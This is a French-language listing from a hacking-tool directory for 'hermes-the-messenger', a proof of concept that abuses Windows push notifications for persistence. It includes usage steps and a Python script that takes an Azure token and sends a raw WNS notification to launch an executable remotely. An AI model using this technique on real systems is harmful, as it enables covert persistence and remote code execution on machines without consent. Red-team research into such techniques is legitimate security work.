Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hermes-the-messenger — Un PoC pour obtenir une persistance via les notifications push sur Windows | Kitploit
Outils/GitHubGitHub/persistent-security/hermes-the-messenger
Mécanismes de PersistancePost-ExploitationCommandement et ContrôleRed Teaming
GitHubpersistent-security/hermes-the-messenger

hermes-the-messenger

Un PoC pour obtenir une persistance via les notifications push sur Windows

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
4845il y a 3 ansVérifié par Kitploit
Partager

Hermes, le messager

Un PoC pour obtenir une persistance via les notifications push sur Windows

Pour plus de détails techniques et de contexte, lisez notre article de blog ici : https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence

Utilisation

Avant toute chose, vous devez configurer Azure. Ensuite, vous devez exécuter le fichier exécutable une fois afin qu'il s'enregistre pour les notifications push. Il vous suffit de passer l'ID d'objet de votre application Azure comme argument et, si tout se passe bien, il affichera l'URI de canal telle que reçue par Microsoft. À ce stade, vous pouvez fermer l'application.

root@kitploit:~
hermes.exe <object_id>

Si le SDK 1.3 n'est pas installé, le binaire tentera de le déployer ainsi que les extensions nécessaires.

Une fois que vous avez l'URI de canal, vous pouvez tenter de lancer votre exécutable à distance depuis une autre machine en appelant l'API de notification avec les détails de votre locataire, et regarder la magie opérer :

root@kitploit:~
import requests

secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."

def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
    # Acquire token
    url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
        'grant_type': 'client_credentials',
        'client_id': app_id,
        'client_secret': secret,
        'scope': 'https://wns.windows.com/.default'
    }
    response = requests.post(url, headers=headers, data=data)
    response_json = response.json()
    token = response_json['access_token']

    # Send notification
    headers = {
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {token}',
        'X-WNS-Type': 'wns/raw',
    }
    response = requests.post(channel_uri, headers=headers, data=notification_data)
    return response.status_code, response.text
	
	
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")

Démo

https://github.com/persistent-security/hermes-the-messenger/assets/134269747/1de3afdc-79dc-4de6-827b-6acba44f910b

Télécharger l’outil